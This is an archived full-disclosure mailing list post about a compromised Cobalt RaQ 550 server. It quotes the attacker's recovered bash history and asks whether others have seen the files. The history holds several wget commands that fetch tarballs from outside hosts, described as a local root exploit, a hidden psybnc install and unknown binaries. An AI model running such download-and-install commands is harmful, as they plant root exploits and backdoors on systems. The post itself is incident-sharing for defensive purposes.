full-disclosure - raq 550 compromised

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Message-ID: <CD58EFC8-F866-11D7-9171-0003939CDB32@code511.com>
From: adf at code511.com (adf--at--Code511.com)
Subject: raq 550 compromised

sorry for the "cross-post", I just saw this message on cobalt-security  
mailing list today:

an user got his raq 550 compromised and he posted some bash history he  
found:

-wget www.ps-lov.us/pizda.tgz
:unknown binaries (yet?) named "mumu"

-wget snow.prohosting.com/muiemuie/p.tar.gz
:Linux kernel ptrace/kmod local root exploit from ipsec

-wget snow.prohosting.com/muiemuie/p.tgz
: it will decompress psybnc in a hidden folder (.bash)

-wget snow.prohosting.com/muiemuie/km3.tgz ----->(file offline)
-wget 65.113.119.133/muiemuie/km3.tgz	  ----->(file offline)


anyone seen pizda or mumu ?

if you interested in all details of the post:  
http://list.cobalt.com/pipermail/cobalt-security/2003-October/ 
008607.html

-deepquest